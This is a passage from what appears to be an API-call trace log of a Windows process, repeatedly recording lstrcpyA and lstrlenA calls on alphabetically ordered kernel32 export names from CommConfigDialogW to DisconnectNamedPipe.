(lpString="COMMCONFIGDIALOGA") returned 17 [0061.836] lstrcpyA (in: lpString1=0x321db34, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0061.836] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0061.837] lstrcpyA (in: lpString1=0x321db34, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0061.837] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0061.837] lstrcpyA (in: lpString1=0x321db34, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0061.837] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0061.837] lstrcpyA (in: lpString1=0x321db34, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0061.837] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0061.837] lstrcpyA (in: lpString1=0x321db34, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0061.837] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0061.837] lstrcpyA (in: lpString1=0x321db34, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0061.837] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0061.837] lstrcpyA (in: lpString1=0x321db34, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0061.837] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0061.837] lstrcpyA (in: lpString1=0x321db34, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0061.837] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0061.837] lstrcpyA (in: lpString1=0x321db34, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0061.837] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0061.837] lstrcpyA (in: lpString1=0x321db34, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0061.837] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0061.837] lstrcpyA (in: lpString1=0x321db34, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0061.837] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0061.837] lstrcpyA (in: lpString1=0x321db34, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0061.837] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0061.837] lstrcpyA (in: lpString1=0x321db34, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0061.837] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0061.837] lstrcpyA (in: lpString1=0x321db34, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0061.837] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0061.837] lstrcpyA (in: lpString1=0x321db34, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0061.837] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0061.837] lstrcpyA (in: lpString1=0x321db34, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0061.837] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0061.837] lstrcpyA (in: lpString1=0x321db34, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0061.838] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0061.838] lstrcpyA (in: lpString1=0x321db34, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0061.838] lstrlenA (lpString="COPYCONTEXT") returned 11 [0061.838] lstrcpyA (in: lpString1=0x321db34, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0061.838] lstrlenA (lpString="COPYFILEA") returned 9 [0061.838] lstrcpyA (in: lpString1=0x321db34, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0061.838] lstrlenA (lpString="COPYFILEEXA") returned 11 [0061.838] lstrcpyA (in: lpString1=0x321db34, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0061.838] lstrlenA (lpString="COPYFILEEXW") returned 11 [0061.838] lstrcpyA (in: lpString1=0x321db34, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0061.838] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0061.838] lstrcpyA (in: lpString1=0x321db34, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0061.838] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0061.838] lstrcpyA (in: lpString1=0x321db34, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0061.838] lstrlenA (lpString="COPYFILEW") returned 9 [0061.838] lstrcpyA (in: lpString1=0x321db34, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0061.838] lstrlenA (lpString="COPYLZFILE") returned 10 [0061.838] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0061.838] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0061.838] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0061.838] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0061.838] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0061.838] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0061.838] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0061.838] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0061.838] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0061.838] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0061.838] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0061.838] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0061.838] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0061.838] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0061.838] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0061.839] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0061.839] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0061.839] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0061.839] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0061.839] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0061.839] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0061.839] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0061.839] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0061.839] lstrlenA (lpString="CREATEEVENTA") returned 12 [0061.839] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0061.839] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0061.839] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0061.839] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0061.839] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0061.839] lstrlenA (lpString="CREATEEVENTW") returned 12 [0061.839] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0061.839] lstrlenA (lpString="CREATEFIBER") returned 11 [0061.839] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0061.839] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0061.839] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0061.839] lstrlenA (lpString="CREATEFILEA") returned 11 [0061.839] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0061.839] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0061.839] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0061.839] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0061.839] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0061.839] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0061.839] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0061.839] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0061.839] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0061.839] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0061.840] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0061.840] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0061.840] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0061.840] lstrlenA (lpString="CREATEFILEW") returned 11 [0061.840] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0061.840] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0061.840] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0061.840] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0061.840] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0061.840] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0061.840] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0061.840] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0061.840] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0061.840] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0061.840] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0061.840] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0061.840] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0061.840] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0061.840] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0061.840] lstrlenA (lpString="CREATEJOBSET") returned 12 [0061.840] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0061.840] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0061.840] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0061.840] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0061.840] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0061.840] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0061.840] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0061.840] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0061.840] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0061.840] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0061.840] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0061.841] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0061.841] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0061.841] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0061.841] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0061.841] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0061.841] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0061.841] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0061.841] lstrcpyA (in: lpString1=0x321db34, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0061.841] lstrlenA (lpString="CREATEPIPE") returned 10 [0061.841] lstrcpyA (in: lpString1=0x321db34, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0061.841] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0061.841] lstrcpyA (in: lpString1=0x321db34, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0061.841] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0061.841] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0061.841] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0061.841] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0061.841] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0061.841] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0061.841] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0061.841] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0061.841] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0061.841] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0061.841] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0061.841] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0061.841] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0061.841] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0061.841] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0061.841] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0061.841] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0061.841] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0061.841] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0061.842] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0061.842] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0061.842] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0061.842] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0061.842] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0061.842] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0061.842] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0061.842] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0061.842] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0061.842] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0061.842] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0061.842] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0061.842] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0061.842] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0061.842] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0061.842] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0061.842] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0061.842] lstrlenA (lpString="CREATETHREAD") returned 12 [0061.842] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0061.842] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0061.842] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0061.842] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0061.842] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0061.842] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0061.842] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0061.842] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0061.842] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0061.842] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0061.842] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0061.842] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0061.842] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0061.843] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0061.843] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0061.843] lstrlenA (lpString="CREATETIMERQUEUETIMER") returned 21 [0061.843] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateToolhelp32Snapshot" | out: lpString1="CreateToolhelp32Snapshot") returned="CreateToolhelp32Snapshot" [0061.843] lstrlenA (lpString="CREATETOOLHELP32SNAPSHOT") returned 24 [0061.843] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateWaitableTimerA" | out: lpString1="CreateWaitableTimerA") returned="CreateWaitableTimerA" [0061.843] lstrlenA (lpString="CREATEWAITABLETIMERA") returned 20 [0061.843] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateWaitableTimerExA" | out: lpString1="CreateWaitableTimerExA") returned="CreateWaitableTimerExA" [0061.843] lstrlenA (lpString="CREATEWAITABLETIMEREXA") returned 22 [0061.843] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateWaitableTimerExW" | out: lpString1="CreateWaitableTimerExW") returned="CreateWaitableTimerExW" [0061.843] lstrlenA (lpString="CREATEWAITABLETIMEREXW") returned 22 [0061.843] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateWaitableTimerW" | out: lpString1="CreateWaitableTimerW") returned="CreateWaitableTimerW" [0061.843] lstrlenA (lpString="CREATEWAITABLETIMERW") returned 20 [0061.843] lstrcpyA (in: lpString1=0x321db34, lpString2="CtrlRoutine" | out: lpString1="CtrlRoutine") returned="CtrlRoutine" [0061.843] lstrlenA (lpString="CTRLROUTINE") returned 11 [0061.843] lstrcpyA (in: lpString1=0x321db34, lpString2="DeactivateActCtx" | out: lpString1="DeactivateActCtx") returned="DeactivateActCtx" [0061.843] lstrlenA (lpString="DEACTIVATEACTCTX") returned 16 [0061.843] lstrcpyA (in: lpString1=0x321db34, lpString2="DebugActiveProcess" | out: lpString1="DebugActiveProcess") returned="DebugActiveProcess" [0061.843] lstrlenA (lpString="DEBUGACTIVEPROCESS") returned 18 [0061.843] lstrcpyA (in: lpString1=0x321db34, lpString2="DebugActiveProcessStop" | out: lpString1="DebugActiveProcessStop") returned="DebugActiveProcessStop" [0061.843] lstrlenA (lpString="DEBUGACTIVEPROCESSSTOP") returned 22 [0061.843] lstrcpyA (in: lpString1=0x321db34, lpString2="DebugBreak" | out: lpString1="DebugBreak") returned="DebugBreak" [0061.843] lstrlenA (lpString="DEBUGBREAK") returned 10 [0061.843] lstrcpyA (in: lpString1=0x321db34, lpString2="DebugBreakProcess" | out: lpString1="DebugBreakProcess") returned="DebugBreakProcess" [0061.843] lstrlenA (lpString="DEBUGBREAKPROCESS") returned 17 [0061.843] lstrcpyA (in: lpString1=0x321db34, lpString2="DebugSetProcessKillOnExit" | out: lpString1="DebugSetProcessKillOnExit") returned="DebugSetProcessKillOnExit" [0061.843] lstrlenA (lpString="DEBUGSETPROCESSKILLONEXIT") returned 25 [0061.843] lstrcpyA (in: lpString1=0x321db34, lpString2="DecodePointer" | out: lpString1="DecodePointer") returned="DecodePointer" [0061.843] lstrlenA (lpString="DECODEPOINTER") returned 13 [0061.843] lstrcpyA (in: lpString1=0x321db34, lpString2="DecodeSystemPointer" | out: lpString1="DecodeSystemPointer") returned="DecodeSystemPointer" [0061.844] lstrlenA (lpString="DECODESYSTEMPOINTER") returned 19 [0061.844] lstrcpyA (in: lpString1=0x321db34, lpString2="DefineDosDeviceA" | out: lpString1="DefineDosDeviceA") returned="DefineDosDeviceA" [0061.844] lstrlenA (lpString="DEFINEDOSDEVICEA") returned 16 [0061.844] lstrcpyA (in: lpString1=0x321db34, lpString2="DefineDosDeviceW" | out: lpString1="DefineDosDeviceW") returned="DefineDosDeviceW" [0061.844] lstrlenA (lpString="DEFINEDOSDEVICEW") returned 16 [0061.844] lstrcpyA (in: lpString1=0x321db34, lpString2="DelayLoadFailureHook" | out: lpString1="DelayLoadFailureHook") returned="DelayLoadFailureHook" [0061.844] lstrlenA (lpString="DELAYLOADFAILUREHOOK") returned 20 [0061.844] lstrcpyA (in: lpString1=0x321db34, lpString2="DeleteAtom" | out: lpString1="DeleteAtom") returned="DeleteAtom" [0061.844] lstrlenA (lpString="DELETEATOM") returned 10 [0061.844] lstrcpyA (in: lpString1=0x321db34, lpString2="DeleteBoundaryDescriptor" | out: lpString1="DeleteBoundaryDescriptor") returned="DeleteBoundaryDescriptor" [0061.844] lstrlenA (lpString="DELETEBOUNDARYDESCRIPTOR") returned 24 [0061.844] lstrcpyA (in: lpString1=0x321db34, lpString2="DeleteCriticalSection" | out: lpString1="DeleteCriticalSection") returned="DeleteCriticalSection" [0061.844] lstrlenA (lpString="DELETECRITICALSECTION") returned 21 [0061.844] lstrcpyA (in: lpString1=0x321db34, lpString2="DeleteFiber" | out: lpString1="DeleteFiber") returned="DeleteFiber" [0061.844] lstrlenA (lpString="DELETEFIBER") returned 11 [0061.844] lstrcpyA (in: lpString1=0x321db34, lpString2="DeleteFileA" | out: lpString1="DeleteFileA") returned="DeleteFileA" [0061.844] lstrlenA (lpString="DELETEFILEA") returned 11 [0061.844] lstrcpyA (in: lpString1=0x321db34, lpString2="DeleteFileTransactedA" | out: lpString1="DeleteFileTransactedA") returned="DeleteFileTransactedA" [0061.844] lstrlenA (lpString="DELETEFILETRANSACTEDA") returned 21 [0061.844] lstrcpyA (in: lpString1=0x321db34, lpString2="DeleteFileTransactedW" | out: lpString1="DeleteFileTransactedW") returned="DeleteFileTransactedW" [0061.844] lstrlenA (lpString="DELETEFILETRANSACTEDW") returned 21 [0061.844] lstrcpyA (in: lpString1=0x321db34, lpString2="DeleteFileW" | out: lpString1="DeleteFileW") returned="DeleteFileW" [0061.844] lstrlenA (lpString="DELETEFILEW") returned 11 [0061.844] lstrcpyA (in: lpString1=0x321db34, lpString2="DeleteProcThreadAttributeList" | out: lpString1="DeleteProcThreadAttributeList") returned="DeleteProcThreadAttributeList" [0061.844] lstrlenA (lpString="DELETEPROCTHREADATTRIBUTELIST") returned 29 [0061.844] lstrcpyA (in: lpString1=0x321db34, lpString2="DeleteTimerQueue" | out: lpString1="DeleteTimerQueue") returned="DeleteTimerQueue" [0061.844] lstrlenA (lpString="DELETETIMERQUEUE") returned 16 [0061.844] lstrcpyA (in: lpString1=0x321db34, lpString2="DeleteTimerQueueEx" | out: lpString1="DeleteTimerQueueEx") returned="DeleteTimerQueueEx" [0061.844] lstrlenA (lpString="DELETETIMERQUEUEEX") returned 18 [0061.844] lstrcpyA (in: lpString1=0x321db34, lpString2="DeleteTimerQueueTimer" | out: lpString1="DeleteTimerQueueTimer") returned="DeleteTimerQueueTimer" [0061.844] lstrlenA (lpString="DELETETIMERQUEUETIMER") returned 21 [0061.845] lstrcpyA (in: lpString1=0x321db34, lpString2="DeleteVolumeMountPointA" | out: lpString1="DeleteVolumeMountPointA") returned="DeleteVolumeMountPointA" [0061.845] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTA") returned 23 [0061.845] lstrcpyA (in: lpString1=0x321db34, lpString2="DeleteVolumeMountPointW" | out: lpString1="DeleteVolumeMountPointW") returned="DeleteVolumeMountPointW" [0061.845] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTW") returned 23 [0061.845] lstrcpyA (in: lpString1=0x321db34, lpString2="DeviceIoControl" | out: lpString1="DeviceIoControl") returned="DeviceIoControl" [0061.845] lstrlenA (lpString="DEVICEIOCONTROL") returned 15 [0061.845] lstrcpyA (in: lpString1=0x321db34, lpString2="DisableThreadLibraryCalls" | out: lpString1="DisableThreadLibraryCalls") returned="DisableThreadLibraryCalls" [0061.845] lstrlenA (lpString="DISABLETHREADLIBRARYCALLS") returned 25 [0061.845] lstrcpyA (in: lpString1=0x321db34, lpString2="DisableThreadProfiling" | out: lpString1="DisableThreadProfiling") returned="DisableThreadProfiling" [0061.845] lstrlenA (lpString="DISABLETHREADPROFILING") returned 22 [0061.845] lstrcpyA (in: lpString1=0x321db34, lpString2="DisassociateCurrentThreadFromCallback" | out: lpString1="DisassociateCurrentThreadFromCallback") returned="DisassociateCurrentThreadFromCallback" [0061.845] lstrlenA (lpString="DISASSOCIATECURRENTTHREADFROMCALLBACK") returned 37 [0061.845] lstrcpyA (in: lpString1=0x321db34, lpString2="DisconnectNamedPipe" | out: lpString1="DisconnectNamedPipe") returned="DisconnectNamedPipe" [0061.845] lstrlenA (lpString="DISCONNECTNAMEDPIPE") returned 19 [0061.845] lstrcpyA (in: lpString1=0x321db34, 